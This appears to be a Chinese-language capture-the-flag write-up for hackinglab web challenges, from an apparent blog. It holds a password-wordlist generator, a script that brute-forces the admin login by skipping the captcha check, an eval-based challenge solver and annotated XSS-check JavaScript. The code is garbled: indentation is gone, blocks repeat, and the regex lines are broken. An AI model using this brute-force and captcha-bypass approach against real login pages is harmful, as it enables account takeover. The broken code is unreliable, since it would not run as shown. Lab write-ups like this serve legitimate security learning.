import requests
import re
url="http://lab1.xseclab.com/xss2_0d557e6d2a4ac08b749b61473a075be1/index.php"
data = requests.session()
data_g = data.get(url)
data_g.encoding='utf-8'
# print(data_g.text)
data_p = data.post(url)
data_p.encoding = 'utf-8'
# print(data_p.text)
import requests
import re
txt = re.findall(r"(.*?)=,data_g.text)
v=eval(txt[0])
import requests
import re
url="http://lab1.xseclab.com/xss2_0d557e6d2a4ac08b749b61473a075be1/index.php"
data = requests.session()
data_g = data.get(url)
data_g.encoding='utf-8'
# print(data_g.text)
txt = re.findall(r"(.*?)=,data_g.text)
v=eval(txt[0])
data_p = data.post(url,data={'v':v})
data_p.encoding = 'utf-8'
print(data_p.text)
import itertools
import argparse
times = 4 #默认输出4位的密码
filename = "dict.txt" #默认的输出文件名
#基础字符
num = "1234567890"
word = "qwertyuiopasdfghjklzxcvbnm"
WORD = "QWERTYUIOPASDFGHJKLZXCVBNM"
sp = "!@#$%&*():"
#模式
class bdata(object):
mode1 = num #数字
mode2 = word #小写字母
mode3 = WORD #大写字母
mode4 = sp #特殊字符
mode5 = mode1+mode2 #数字加小写字母
mode6 = mode1+mode3 #数字加大写字母
mode7 = mode1+mode4 #数字加特殊字符
mode8 = mode2+mode3 #小写加大写
mode9 = mode2+mode4 #小写加特殊字符
mode10 = mode8+mode1 #大小写字母加数字
def welcome():
welcome='''
へ /|
/\7 ∠_/
/ │ / /
│ Z _,< / /`ヽ
│ ヽ / 〉
Y ` / /
イ● 、 ● ⊂⊃〈 /
() へ | \〈
>ー 、_ ィ │ //
/ へ / ノ<| \\
ヽ_ノ (_/ │//
7 |/
>―r ̄ ̄`ー―_
@authur:flynn
*****py -h发现更多提示*****
'''
print(welcome)
def show():
showdata='''
默认一共有10种模式
mode1 #数字
mode2 #小写字母
mode3 #大写字母
mode4 #特殊字符
mode5 #数字加小写字母
mode6 #数字加大写字母
mode7 #数字加特殊字符
mode8 #小写加大写
mode9 #小写加特殊字符
mode10 #大小写字母加数字
'''
print(showdata)
die()
def die():
print("退出程序 exit!!")
exit(0)
class dict(object) :
def __init__(self,filename,mode,times):
self.filename = filename
self.mode = mode
self.times = times
def out(self) :
with open(self.filename,"w") as outfile:
indata=itertools.product(self.mode,repeat=self.times) #利用笛卡尔积制造一个迭代对象
for i in indata:
outfile.writelines(i) #循环写入到文件
outfile.write("\n") #换行
print(">>>>>>>>%s"%outfile.name)
if __name__ == "__main__":
# oo = dict(filename,mode1,times)
# oo.out()
parser = argparse.ArgumentParser()
parser.add_argument("-m","--mode",
help="选择一种模式,默认全部数字(-m mode1)",
default='mode1',
type=str)
parser.add_argument("-t","--times",
help="指定密码生成位数,默认4位(-t 4)",
default=times,
type=int)
parser.add_argument("-f","--file",
help="指定输出文件名,默认当前文件夹的dict.txt(-f dict.txt)",
default=filename,
type=str)
parser.add_argument("-s","--show",
help="模式说明",
action='store_true'
)
args = parser.parse_args()
if args.show:
show()
die()
else:
welcome()
m = getattr(bdata,args.mode) #利用getattr来获取aggs.mode值为变量名的值
print(f"你正准备输出\n由 {m} 构成的\n长 {args.times} 位的密码\n文件将保存为{args.file}\n________________")
Y=input("我开始咯?(y/n)\n>")
if Y=='y':
oo = dict(args.file,m,args.times)
oo.out()
else:
die()
本来的思路是先get一下得到验证码的图片链接,然后手动输入构造payload,结果后面发现不管第一次验证是否正确,后面的post只要不加验证码就不会触发验证码验证,所以这里可以直接post爆破
import requests
import re
import os
url = "http://lab1.xseclab.com/vcode3_9d1ea7ad52ad93c04a837e0808b17097/index.php"
urllogin ="http://lab1.xseclab.com/vcode3_9d1ea7ad52ad93c04a837e0808b17097/login.php"
po = requests.session() #维持会话
# gg = po.get(url)
# pic_url=re.findall(r'src="(.*?)"',gg.text)
# pic_url=pic_url[0]
# print(f"本次访问的验证码是{pic_url}\n")
# vcode=input("请输入验证码>")
# po.post(urllogin,data={"username":'admin',"pwd":"","vcode":vcode})
#可以不用这一步
with open("dict.txt") as target:
passwd=target.readlines()
for i in passwd:
os.system("clear")#清屏操作,win系统可以将clear改为cls
payload={
"username":'admin',
"pwd":i.replace("\n",""),
"vcode":"",
}
pp = po.post(urllogin,data=payload)
print(i)
if not re.findall(r'(.*?)pwd',pp.text):
print(pp.text)
exit(0)
print(pp.text)
简称 Data URI,经常会被错误地写成 data URLs。即前缀为data:协议的的URL,其允许内容创建者向文档中嵌入小文件。
data:①[<mime type>]②[;charset=<charset>]③[;<encoding>]④,<encoded data>⑤
data协议资料来源
-打开题目
获取验证码,发现看不到,应该只能爆破了
使用博主自己的脚本生成字典
>>python -u DictMaker.py -t 3
へ /|
/\7 ∠_/
/ │ / /
│ Z _,< / /`ヽ
│ ヽ / 〉
Y ` / /
イ● 、 ● ⊂⊃〈 /
() へ | \〈
>ー 、_ ィ │ //
/ へ / ノ<| \\
ヽ_ノ (_/ │//
7 |/
>―r ̄ ̄`ー―_
@authur:flynn
*******py -h发现更多提示*******
你正准备输出
由 1234567890 构成的
长 3 位的密码
文件将保存为dict.txt
________________
我开始咯?(y/n)
>y
>>>>>>>>dict.txt
orgAlert = window.alert;//alert() 方法用于显示警告框
ok = 0;
var HackingLab="success!";//var声明变量hackinglab
function newAlert(a) { //定义了名为newAlert的函数,形参a
window.alert = orgAlert;//这一句看的我有点蒙
if (a == HackingLab) {//若形参a等于变量hack的值,那么
if (ok == 0) ok = 1;//若ok为0,那么ok重新赋值为1
alert(a);//将a的信息弹窗出去
$.post("./getkey.php?ok=1",{'url':location.href,'ok':ok},function(data){console.log(data);
});
//使用post发送数据到"./getkey.php?ok=1",
//发送了一个字典过去'url':location.href,'ok':ok
//
//console.log(data)向控制台输出信息
showkey();//调用显示key的函数
} else {//若形参a不等于变量hack的值,那么
alert(a);
alert("Please use alert(HackingLab)!!");
}
}
window.alert = newAlert;//调用函数
function showkey(){
//XSS题目要自觉.....无论如何都是可以绕过的,索性不加密不编码js了,大家一起玩吧.
var url="./getkey.php";
$.post(url,{"getkey":"azzakj"},function(data){
$("#msg").text(data);
});
}
1.打开题目,和刚刚那一个差不多的页面
2.查看源代码,提示说用alert过关,点击xss_check链接
3.。。。发现和刚刚那个一模一样,,,依然没有加密啥的
4.使用刚刚的方法,得到key
1.打开题目,直接去看源代码,,发现check还是一样,老办法,直接出来了key。。。,我怀疑下一道题也可以。。。还真的可以,,,